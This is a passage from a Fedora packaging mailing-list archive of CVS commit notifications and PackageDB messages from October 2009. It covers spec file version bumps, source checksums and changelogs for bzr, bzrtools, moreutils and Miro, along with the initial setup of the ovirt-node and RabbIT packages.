--- sources	28 Oct 2009 21:01:12 -0000	1.816
+++ sources	28 Oct 2009 21:49:21 -0000	1.817
@@ -1 +1 @@
-2316fd94b98fd72cb7b701fa3a2943c6  anaconda-12.40.tar.bz2
+b5ebecf17f77c23095def4059f74408f  anaconda-12.41.tar.bz2



From hno at fedoraproject.org  Wed Oct 28 22:24:20 2009
From: hno at fedoraproject.org (=?utf-8?q?Henrik_Nordstr=C3=B6m?=)
Date: Wed, 28 Oct 2009 22:24:20 +0000 (UTC)
Subject: rpms/bzr/devel bzr.spec,1.74,1.75
Message-ID: <20091028222421.28CA811C02C8@cvs1.fedora.phx.redhat.com>

Author: hno

Update of /cvs/pkgs/rpms/bzr/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1245

Modified Files:
	bzr.spec 
Log Message:
2.1.0b1


Index: bzr.spec
===================================================================
RCS file: /cvs/pkgs/rpms/bzr/devel/bzr.spec,v
retrieving revision 1.74
retrieving revision 1.75
diff -u -p -r1.74 -r1.75
--- bzr.spec	25 Sep 2009 20:49:44 -0000	1.74
+++ bzr.spec	28 Oct 2009 22:24:19 -0000	1.75
@@ -6,10 +6,10 @@
 #   Version: bzr version, add subrelease version here
 #   bzrrc: release candidate version, if any, line starts with % for rc, # for stable releas (no %).
 #   release: rpm subrelease (0.N for rc candidates, N for stable releases)
-%define bzrmajor 2.0
+%define bzrmajor 2.1
 %define bzrminor .0
-#define bzrrc rc2
-%define release 1
+%define bzrrc b1
+%define release 0.1
 
 # Magics to get the dots in Release string correct per the above
 %define subrelease %{?bzrrc:.}%{?bzrrc}
@@ -92,6 +92,12 @@ rm -rf $RPM_BUILD_ROOT
 %endif
 
 %changelog
+* Wed Oct 28 2009 Henrik Nordstrom <henrik at henriknordstrom.net> - 2.1-0.1.b1
+- Highlights for this release include support for `bzr+ssh://host/~/homedir`
+  style urls, finer control over the plugin search path via extended
+  BZR_PLUGIN_PATH syntax, visible warnings when extension modules fail to
+  load, and improved error handling during unlocking.
+
 * Fri Sep 25 2009 Henrik Nordstrom <henrik at henriknordstrom.net> - 2.0-1
 - Update to 2.0.0
 



From hno at fedoraproject.org  Wed Oct 28 22:25:38 2009
From: hno at fedoraproject.org (=?utf-8?q?Henrik_Nordstr=C3=B6m?=)
Date: Wed, 28 Oct 2009 22:25:38 +0000 (UTC)
Subject: rpms/bzr/devel bzr.spec,1.75,1.76
Message-ID: <20091028222538.0B44711C0337@cvs1.fedora.phx.redhat.com>

Author: hno

Update of /cvs/pkgs/rpms/bzr/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1598

Modified Files:
	bzr.spec 
Log Message:
changelog version corrections


Index: bzr.spec
===================================================================
RCS file: /cvs/pkgs/rpms/bzr/devel/bzr.spec,v
retrieving revision 1.75
retrieving revision 1.76
diff -u -p -r1.75 -r1.76
--- bzr.spec	28 Oct 2009 22:24:19 -0000	1.75
+++ bzr.spec	28 Oct 2009 22:25:37 -0000	1.76
@@ -92,13 +92,13 @@ rm -rf $RPM_BUILD_ROOT
 %endif
 
 %changelog
-* Wed Oct 28 2009 Henrik Nordstrom <henrik at henriknordstrom.net> - 2.1-0.1.b1
+* Wed Oct 28 2009 Henrik Nordstrom <henrik at henriknordstrom.net> - 2.1.0-0.1.b1
 - Highlights for this release include support for `bzr+ssh://host/~/homedir`
   style urls, finer control over the plugin search path via extended
   BZR_PLUGIN_PATH syntax, visible warnings when extension modules fail to
   load, and improved error handling during unlocking.
 
-* Fri Sep 25 2009 Henrik Nordstrom <henrik at henriknordstrom.net> - 2.0-1
+* Fri Sep 25 2009 Henrik Nordstrom <henrik at henriknordstrom.net> - 2.0.0-1
 - Update to 2.0.0
 
 * Thu Sep 10 2009 Henrik Nordstrom <henrik at henriknordstrom.net> - 2.0-0.1rc2



From hno at fedoraproject.org  Wed Oct 28 22:33:52 2009
From: hno at fedoraproject.org (=?utf-8?q?Henrik_Nordstr=C3=B6m?=)
Date: Wed, 28 Oct 2009 22:33:52 +0000 (UTC)
Subject: rpms/bzr/devel .cvsignore,1.54,1.55 sources,1.54,1.55
Message-ID: <20091028223352.35B2C11C02C8@cvs1.fedora.phx.redhat.com>

Author: hno

Update of /cvs/pkgs/rpms/bzr/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6089

Modified Files:
	.cvsignore sources 
Log Message:
2.1.0b1


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/bzr/devel/.cvsignore,v
retrieving revision 1.54
retrieving revision 1.55
diff -u -p -r1.54 -r1.55
--- .cvsignore	25 Sep 2009 20:49:44 -0000	1.54
+++ .cvsignore	28 Oct 2009 22:33:51 -0000	1.55
@@ -1,2 +1,2 @@
-bzr-2.0.0.tar.gz
-bzr-2.0.0.tar.gz.sig
+bzr-2.1.0b1.tar.gz
+bzr-2.1.0b1.tar.gz.sig


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/bzr/devel/sources,v
retrieving revision 1.54
retrieving revision 1.55
diff -u -p -r1.54 -r1.55
--- sources	25 Sep 2009 20:49:44 -0000	1.54
+++ sources	28 Oct 2009 22:33:51 -0000	1.55
@@ -1,2 +1,2 @@
-2536b0ef26a5110692e7f32d5a3fd91b  bzr-2.0.0.tar.gz
-a39bc7c1de358edd2010ddc38e6e8399  bzr-2.0.0.tar.gz.sig
+543a11198e5686851d95d3235ecdddbf  bzr-2.1.0b1.tar.gz
+dd20a37c3d0b5c32511421604e22b88b  bzr-2.1.0b1.tar.gz.sig



From hno at fedoraproject.org  Wed Oct 28 23:07:19 2009
From: hno at fedoraproject.org (=?utf-8?q?Henrik_Nordstr=C3=B6m?=)
Date: Wed, 28 Oct 2009 23:07:19 +0000 (UTC)
Subject: rpms/bzrtools/devel .cvsignore, 1.34, 1.35 bzrtools.spec, 1.53,
	1.54 sources, 1.35, 1.36
Message-ID: <20091028230719.C612011C0073@cvs1.fedora.phx.redhat.com>

Author: hno

Update of /cvs/pkgs/rpms/bzrtools/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21552

Modified Files:
	.cvsignore bzrtools.spec sources 
Log Message:
2.1.0b1


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/bzrtools/devel/.cvsignore,v
retrieving revision 1.34
retrieving revision 1.35
diff -u -p -r1.34 -r1.35
--- .cvsignore	26 Sep 2009 18:06:58 -0000	1.34
+++ .cvsignore	28 Oct 2009 23:07:17 -0000	1.35
@@ -1,2 +1,2 @@
-bzrtools-2.0.1.tar.gz
-bzrtools-2.0.1.tar.gz.sig
+bzrtools-2.1.0b1.tar.gz
+bzrtools-2.1.0b1.tar.gz.sig


Index: bzrtools.spec
===================================================================
RCS file: /cvs/pkgs/rpms/bzrtools/devel/bzrtools.spec,v
retrieving revision 1.53
retrieving revision 1.54
diff -u -p -r1.53 -r1.54
--- bzrtools.spec	26 Sep 2009 18:06:59 -0000	1.53
+++ bzrtools.spec	28 Oct 2009 23:07:17 -0000	1.54
@@ -5,19 +5,21 @@
 # (bzrlib is arch dependent.  Thus bzrlib plugins are also arch dependent.)
 %define debug_package %{nil}
 
-%define bzrver 2.0
-%define bzrnextver 2.1
+%define bzrver 2.1
+%define bzrnextver 2.2
 
 Name:           bzrtools
-Version:        %{bzrver}.1
-Release:        1%{?dist}
+Version:        %{bzrver}.0
+%define subtag  b1
+%define branch  trunk
+Release:        0.1%{?subtag:.}%{?subtag}%{?dist}
 Summary:        A collection of utilities and plugins for Bazaar-NG
 
 Group:          Development/Tools
 License:        GPLv2+
 URL:            http://bazaar-vcs.org/BzrTools
-Source0:        https://launchpad.net/bzrtools/stable/%{version}/+download/%{name}-%{version}.tar.gz
-Source1:        https://launchpad.net/bzrtools/stable/%{version}/+download/%{name}-%{version}.tar.gz.sig
+Source0:        https://launchpad.net/bzrtools/%{branch}/%{version}%{?subtag}/+download/%{name}-%{version}%{?subtag}.tar.gz
+Source1:        https://launchpad.net/bzrtools/%{branch}/%{version}%{?subtag}/+download/%{name}-%{version}%{?subtag}.tar.gz.sig
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  python-devel
@@ -73,6 +75,9 @@ rm -rf $RPM_BUILD_ROOT
 %endif
 
 %changelog
+* Thu Oct 29 2009 Henrik Nordstrom <henrik at henriknordstrom.net> -  2.1.0-0.1.b1
+- Update to 2.1.0b1 for bzr 2.1.0b1
+
 * Sat Sep 26 2009 Henrik Nordstrom <henrik at henriknordstrom.net> - 2.0.1-1
 - Update to 2.0.1
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/bzrtools/devel/sources,v
retrieving revision 1.35
retrieving revision 1.36
diff -u -p -r1.35 -r1.36
--- sources	26 Sep 2009 18:06:59 -0000	1.35
+++ sources	28 Oct 2009 23:07:17 -0000	1.36
@@ -1,2 +1,2 @@
-a4a14e3ed4a6fa404123ee22662fa0a5  bzrtools-2.0.1.tar.gz
-d434fd716a4bfbd43eb2f7265bbfc037  bzrtools-2.0.1.tar.gz.sig
+ef11b8a795f446da9eb6d361a8e53412  bzrtools-2.1.0b1.tar.gz
+6aee9d891144c895501098294e4b5782  bzrtools-2.1.0b1.tar.gz.sig



From deebs at fedoraproject.org  Wed Oct 28 23:13:10 2009
From: deebs at fedoraproject.org (deebs)
Date: Wed, 28 Oct 2009 23:13:10 +0000 (UTC)
Subject: rpms/moreutils/devel .cvsignore, 1.10, 1.11 import.log, 1.5,
	1.6 moreutils.spec, 1.12, 1.13 sources, 1.10, 1.11
Message-ID: <20091028231310.4E35511C0073@cvs1.fedora.phx.redhat.com>

Author: deebs

Update of /cvs/pkgs/rpms/moreutils/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24516/devel

Modified Files:
	.cvsignore import.log moreutils.spec sources 
Log Message:
new upstream version



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/moreutils/devel/.cvsignore,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- .cvsignore	16 Jul 2009 04:59:12 -0000	1.10
+++ .cvsignore	28 Oct 2009 23:13:09 -0000	1.11
@@ -1 +1 @@
-moreutils_0.36.tar.gz
+moreutils_0.37.tar.gz


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/moreutils/devel/import.log,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- import.log	16 Jul 2009 04:59:12 -0000	1.5
+++ import.log	28 Oct 2009 23:13:10 -0000	1.6
@@ -3,3 +3,4 @@ moreutils-0_31-1_fc9:HEAD:moreutils-0.31
 moreutils-0_34-1_fc10:HEAD:moreutils-0.34-1.fc10.src.rpm:1235469154
 moreutils-0_35-1_fc10:HEAD:moreutils-0.35-1.fc10.src.rpm:1246692984
 moreutils-0_36-1_fc10:HEAD:moreutils-0.36-1.fc10.src.rpm:1247720299
+moreutils-0_37-1_fc10:HEAD:moreutils-0.37-1.fc10.src.rpm:1256771546


Index: moreutils.spec
===================================================================
RCS file: /cvs/pkgs/rpms/moreutils/devel/moreutils.spec,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- moreutils.spec	25 Jul 2009 15:08:46 -0000	1.12
+++ moreutils.spec	28 Oct 2009 23:13:10 -0000	1.13
@@ -1,6 +1,6 @@
 Name:           moreutils
-Version:        0.36
-Release:        2%{?dist}
+Version:        0.37
+Release:        1%{?dist}
 Summary:        Additional unix utilities
 Group:          Applications/System
 License:        GPLv2
@@ -89,6 +89,12 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Mon Oct 19 2009 Marc Bradshaw <fedora at marcbradshaw.co.uk> 0.37-1%{?dist}
+- new upstream version 0.36 released with these changes
+- * parallel: Clarify man page regarding CPUs. Closes: #536597
+- * parallel: Add -n option. Thanks, Pierre Habouzit. Closes: #537992 (As a side effect, fixes a segfault if -- was omitted.)
+- * parallel.1: Typo fixes. Closes: #538147
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.36-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/moreutils/devel/sources,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sources	16 Jul 2009 04:59:12 -0000	1.10
+++ sources	28 Oct 2009 23:13:10 -0000	1.11
@@ -1 +1 @@
-c2df31a6c2e1ab5344808d5401365fba  moreutils_0.36.tar.gz
+0efb69ef1e913ea4dabc74bfe0e68372  moreutils_0.37.tar.gz



From hno at fedoraproject.org  Wed Oct 28 23:13:19 2009
From: hno at fedoraproject.org (=?utf-8?q?Henrik_Nordstr=C3=B6m?=)
Date: Wed, 28 Oct 2009 23:13:19 +0000 (UTC)
Subject: rpms/bzr/F-12 .cvsignore, 1.54, 1.55 bzr.spec, 1.74, 1.75 sources, 
	1.54, 1.55
Message-ID: <20091028231319.CECCF11C0073@cvs1.fedora.phx.redhat.com>

Author: hno

Update of /cvs/pkgs/rpms/bzr/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24617

Modified Files:
	.cvsignore bzr.spec sources 
Log Message:
2.0.1


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/bzr/F-12/.cvsignore,v
retrieving revision 1.54
retrieving revision 1.55
diff -u -p -r1.54 -r1.55
--- .cvsignore	25 Sep 2009 20:49:44 -0000	1.54
+++ .cvsignore	28 Oct 2009 23:13:19 -0000	1.55
@@ -1,2 +1,2 @@
-bzr-2.0.0.tar.gz
-bzr-2.0.0.tar.gz.sig
+bzr-2.0.1.tar.gz
+bzr-2.0.1.tar.gz.sig


Index: bzr.spec
===================================================================
RCS file: /cvs/pkgs/rpms/bzr/F-12/bzr.spec,v
retrieving revision 1.74
retrieving revision 1.75
diff -u -p -r1.74 -r1.75
--- bzr.spec	25 Sep 2009 20:49:44 -0000	1.74
+++ bzr.spec	28 Oct 2009 23:13:19 -0000	1.75
@@ -7,7 +7,7 @@
 #   bzrrc: release candidate version, if any, line starts with % for rc, # for stable releas (no %).
 #   release: rpm subrelease (0.N for rc candidates, N for stable releases)
 %define bzrmajor 2.0
-%define bzrminor .0
+%define bzrminor .1
 #define bzrrc rc2
 %define release 1
 
@@ -92,10 +92,13 @@ rm -rf $RPM_BUILD_ROOT
 %endif
 
 %changelog
-* Fri Sep 25 2009 Henrik Nordstrom <henrik at henriknordstrom.net> - 2.0-1
+* Thu Oct 29 2009 Henrik Nordstrom <henrik at henriknordstrom.net> - 2.0.1-1
+- Update to 2.0.1 bugfix release
+
+* Fri Sep 25 2009 Henrik Nordstrom <henrik at henriknordstrom.net> - 2.0.0-1
 - Update to 2.0.0
 
-* Thu Sep 10 2009 Henrik Nordstrom <henrik at henriknordstrom.net> - 2.0-0.1rc2
+* Thu Sep 10 2009 Henrik Nordstrom <henrik at henriknordstrom.net> - 2.0.0-0.1rc2
 - Update to 2.0rc2 with new default repository format 2a
 
 * Wed Aug 26 2009 Henrik Nordstrom <henrik at henriknordstrom.net> - 1.18-1


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/bzr/F-12/sources,v
retrieving revision 1.54
retrieving revision 1.55
diff -u -p -r1.54 -r1.55
--- sources	25 Sep 2009 20:49:44 -0000	1.54
+++ sources	28 Oct 2009 23:13:19 -0000	1.55
@@ -1,2 +1,2 @@
-2536b0ef26a5110692e7f32d5a3fd91b  bzr-2.0.0.tar.gz
-a39bc7c1de358edd2010ddc38e6e8399  bzr-2.0.0.tar.gz.sig
+8b4d977e70efefeb7ba75d2b20900376  bzr-2.0.1.tar.gz
+1fd3b8418fafdad5e4e57a5441b8060d  bzr-2.0.1.tar.gz.sig



From alexlan at fedoraproject.org  Wed Oct 28 23:28:09 2009
From: alexlan at fedoraproject.org (alexlan)
Date: Wed, 28 Oct 2009 23:28:09 +0000 (UTC)
Subject: rpms/Miro/devel .cvsignore, 1.20, 1.21 Miro.spec, 1.64, 1.65 sources,
	1.20, 1.21
Message-ID: <20091028232810.5172211C0073@cvs1.fedora.phx.redhat.com>

Author: alexlan

Update of /cvs/extras/rpms/Miro/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31287

Modified Files:
	.cvsignore Miro.spec sources 
Log Message:
- Update to 2.5.3
- Tarball renamed: Miro -> miro



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/Miro/devel/.cvsignore,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- .cvsignore	4 Aug 2009 05:55:02 -0000	1.20
+++ .cvsignore	28 Oct 2009 23:28:06 -0000	1.21
@@ -1 +1 @@
-Miro-2.5.2.tar.gz
+miro-2.5.3.tar.gz


Index: Miro.spec
===================================================================
RCS file: /cvs/extras/rpms/Miro/devel/Miro.spec,v
retrieving revision 1.64
retrieving revision 1.65
diff -u -p -r1.64 -r1.65
--- Miro.spec	27 Oct 2009 14:52:16 -0000	1.64
+++ Miro.spec	28 Oct 2009 23:28:07 -0000	1.65
@@ -4,14 +4,14 @@
 %define gecko_ver 1.9.1.4
 
 Name:           Miro
-Version:        2.5.2
-Release:        5%{?dist}
+Version:        2.5.3
+Release:        1%{?dist}
 Summary:        Miro - Internet TV Player
 
 Group:          Applications/Multimedia
 License:        GPLv2+
 URL:            http://www.getmiro.com/
-Source0:        http://ftp.osuosl.org/pub/pculture.org/miro/src/%{name}-%{version}.tar.gz
+Source0:        http://ftp.osuosl.org/pub/pculture.org/miro/src/miro-%{version}.tar.gz
 Patch0:         %{name}-2.5.2-fhs.patch
 Patch1:         %{name}-2.0-videodir.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -41,7 +41,7 @@ that there are some bugs, but we're movi
 releasing bug fixes on a regular basis.
 
 %prep
-%setup -q -n %{name}-%{version}
+%setup -q -n miro-%{version}
 # Intentionally not using -b .<descr> :
 # Otherwise, the unpatched files get re-added into Miro
 # (and '.' breaks Python imports)
@@ -94,6 +94,10 @@ update-desktop-database %{_datadir}/appl
 
 
 %changelog
+* Wed Oct 28 2009 Alex Lancaster <alexlan[AT]fedoraproject org> - 2.5.3-1
+- Update to 2.5.3
+- Tarball renamed: Miro -> miro
+
 * Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 2.5.2-5
 - Rebuild against newer gecko
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/Miro/devel/sources,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- sources	4 Aug 2009 05:55:03 -0000	1.20
+++ sources	28 Oct 2009 23:28:07 -0000	1.21
@@ -1 +1 @@
-e4e6a6979949c001ab06e813db7da06f  Miro-2.5.2.tar.gz
+de3ada44e9904f2b046a6503b1a47a6d  miro-2.5.3.tar.gz



From pkgdb at fedoraproject.org  Thu Oct 29 00:02:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 29 Oct 2009 00:02:54 +0000
Subject: [pkgdb] ovirt-node was added for huff
Message-ID: <20091029000254.4362310F87F@bastion2.fedora.phx.redhat.com>

kevin has added Package ovirt-node with summary The oVirt Node daemons/scripts/tools
kevin has approved Package ovirt-node
kevin has added a Fedora devel branch for ovirt-node with an owner of huff
kevin has approved ovirt-node in Fedora devel
kevin has approved Package ovirt-node
kevin has set commit to Approved for 107427 on ovirt-node (Fedora devel)
kevin has set checkout to Approved for 107427 on ovirt-node (Fedora devel)
kevin has set build to Approved for 107427 on ovirt-node (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/ovirt-node



From pkgdb at fedoraproject.org  Thu Oct 29 00:02:56 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 29 Oct 2009 00:02:56 +0000
Subject: [pkgdb] ovirt-node summary updated by kevin
Message-ID: <20091029000256.C1E3F10F894@bastion2.fedora.phx.redhat.com>

kevin set package ovirt-node summary to The oVirt Node daemons/scripts/tools

To make changes to this package see:
  /pkgdb/packages/name/ovirt-node



From pkgdb at fedoraproject.org  Thu Oct 29 00:02:56 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 29 Oct 2009 00:02:56 +0000
Subject: [pkgdb] ovirt-node (Fedora, 12) updated by kevin
Message-ID: <20091029000256.C9D5610F89C@bastion2.fedora.phx.redhat.com>

kevin approved watchbugzilla on ovirt-node (Fedora devel) for apevec
kevin approved watchcommits on ovirt-node (Fedora devel) for apevec
kevin approved watchbugzilla on ovirt-node (Fedora devel) for pmyers
kevin approved watchcommits on ovirt-node (Fedora devel) for pmyers
kevin approved watchbugzilla on ovirt-node (Fedora devel) for jboggs
kevin approved watchcommits on ovirt-node (Fedora devel) for jboggs
kevin approved watchbugzilla on ovirt-node (Fedora devel) for mcpierce
kevin approved watchcommits on ovirt-node (Fedora devel) for mcpierce

To make changes to this package see:
  /pkgdb/packages/name/ovirt-node



From pkgdb at fedoraproject.org  Thu Oct 29 00:02:56 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 29 Oct 2009 00:02:56 +0000
Subject: [pkgdb] ovirt-node (Fedora, 12) updated by kevin
Message-ID: <20091029000256.D292610F8A3@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for ovirt-node
kevin has set commit to Approved for 107427 on ovirt-node (Fedora 12)
kevin has set checkout to Approved for 107427 on ovirt-node (Fedora 12)
kevin has set build to Approved for 107427 on ovirt-node (Fedora 12)
kevin approved watchbugzilla on ovirt-node (Fedora 12) for apevec
kevin approved watchcommits on ovirt-node (Fedora 12) for apevec
kevin approved watchbugzilla on ovirt-node (Fedora 12) for pmyers
kevin approved watchcommits on ovirt-node (Fedora 12) for pmyers
kevin approved watchbugzilla on ovirt-node (Fedora 12) for jboggs
kevin approved watchcommits on ovirt-node (Fedora 12) for jboggs
kevin approved watchbugzilla on ovirt-node (Fedora 12) for mcpierce
kevin approved watchcommits on ovirt-node (Fedora 12) for mcpierce

To make changes to this package see:
  /pkgdb/packages/name/ovirt-node



From kevin at fedoraproject.org  Thu Oct 29 00:03:42 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 29 Oct 2009 00:03:42 +0000 (UTC)
Subject: rpms/ovirt-node - New directory
Message-ID: <20091029000342.BD5B711C0073@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/ovirt-node
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsb18690/rpms/ovirt-node

Log Message:
Directory /cvs/pkgs/rpms/ovirt-node added to the repository




From kevin at fedoraproject.org  Thu Oct 29 00:03:42 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 29 Oct 2009 00:03:42 +0000 (UTC)
Subject: rpms/ovirt-node/devel - New directory
Message-ID: <20091029000342.F173A11C02BD@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/ovirt-node/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsb18690/rpms/ovirt-node/devel

Log Message:
Directory /cvs/pkgs/rpms/ovirt-node/devel added to the repository




From pkgdb at fedoraproject.org  Thu Oct 29 00:03:47 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 29 Oct 2009 00:03:47 +0000
Subject: [pkgdb] RabbIT was added for hubbitus
Message-ID: <20091029000347.98AA710F8A4@bastion2.fedora.phx.redhat.com>

kevin has added Package RabbIT with summary proxy for a faster web
kevin has approved Package RabbIT
kevin has added a Fedora devel branch for RabbIT with an owner of hubbitus
kevin has approved RabbIT in Fedora devel
kevin has approved Package RabbIT
kevin has set commit to Approved for 107427 on RabbIT (Fedora devel)
kevin has set checkout to Approved for 107427 on RabbIT (Fedora devel)
kevin has set build to Approved for 107427 on RabbIT (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/RabbIT



From pkgdb at fedoraproject.org  Thu Oct 29 00:03:49 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 29 Oct 2009 00:03:49 +0000
Subject: [pkgdb] RabbIT summary updated by kevin
Message-ID: <20091029000349.ABDB610F8AB@bastion2.fedora.phx.redhat.com>

kevin set package RabbIT summary to proxy for a faster web

To make changes to this package see:
  /pkgdb/packages/name/RabbIT



From pkgdb at fedoraproject.org  Thu Oct 29 00:03:49 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 29 Oct 2009 00:03:49 +0000
Subject: [pkgdb] RabbIT (Fedora EPEL, 5) updated by kevin
Message-ID: <20091029000349.AE72E10F8B1@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for RabbIT
kevin has set commit to Approved for 107427 on RabbIT (Fedora 11)
kevin has set checkout to Approved for 107427 on RabbIT (Fedora 11)
kevin has set build to Approved for 107427 on RabbIT (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/RabbIT



From pkgdb at fedoraproject.org  Thu Oct 29 00:03:49 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 29 Oct 2009 00:03:49 +0000
Subject: [pkgdb] RabbIT (Fedora EPEL, 5) updated by kevin
Message-ID: <20091029000349.B41CA10F8B4@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for RabbIT
kevin has set commit to Approved for 107427 on RabbIT (Fedora 12)
kevin has set checkout to Approved for 107427 on RabbIT (Fedora 12)
kevin has set build to Approved for 107427 on RabbIT (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/RabbIT



From pkgdb at fedoraproject.org  Thu Oct 29 00:03:49 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 29 Oct 2009 00:03:49 +0000
Subject: [pkgdb] RabbIT (Fedora EPEL, 5) updated by kevin
Message-ID: <20091029000349.BF20010F8B7@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 10 branch for RabbIT
kevin has set commit to Approved for 107427 on RabbIT (Fedora 10)
kevin has set checkout to Approved for 107427 on RabbIT (Fedora 10)
kevin has set build to Approved for 107427 on RabbIT (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/RabbIT



From pkgdb at fedoraproject.org  Thu Oct 29 00:03:49 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 29 Oct 2009 00:03:49 +0000
Subject: [pkgdb] RabbIT (Fedora EPEL, 5) updated by kevin
Message-ID: <20091029000349.CC81A10F8BA@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for RabbIT
kevin has set commit to Approved for 107427 on RabbIT (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on RabbIT (Fedora EPEL 5)
kevin has set build to Approved for 107427 on RabbIT (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/RabbIT



From kevin at fedoraproject.org  Thu Oct 29 00:04:03 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 29 Oct 2009 00:04:03 +0000 (UTC)
Subject: rpms/ovirt-node Makefile,NONE,1.1
Message-ID: <20091029000403.5FB0D11C0073@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/ovirt-node
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsb18690/rpms/ovirt-node

Added Files:
	Makefile 
Log Message:
Setup of module ovirt-node


--- NEW FILE Makefile ---
# Top level Makefile for module ovirt-node
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Thu Oct 29 00:04:05 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 29 Oct 2009 00:04:05 +0000 (UTC)
Subject: rpms/ovirt-node/devel .cvsignore, NONE, 1.1 Makefile, NONE,
	1.1 sources, NONE, 1.1
Message-ID: <20091029000405.AA10911C0073@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/ovirt-node/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsb18690/rpms/ovirt-node/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module ovirt-node


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: ovirt-node
# $Id: Makefile,v 1.1 2009/10/29 00:04:03 kevin Exp $
NAME := ovirt-node
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$d/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From kevin at fedoraproject.org  Thu Oct 29 00:04:40 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 29 Oct 2009 00:04:40 +0000 (UTC)
Subject: rpms/RabbIT/devel - New directory
Message-ID: <20091029000440.7A3FB11C02BD@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/RabbIT/devel
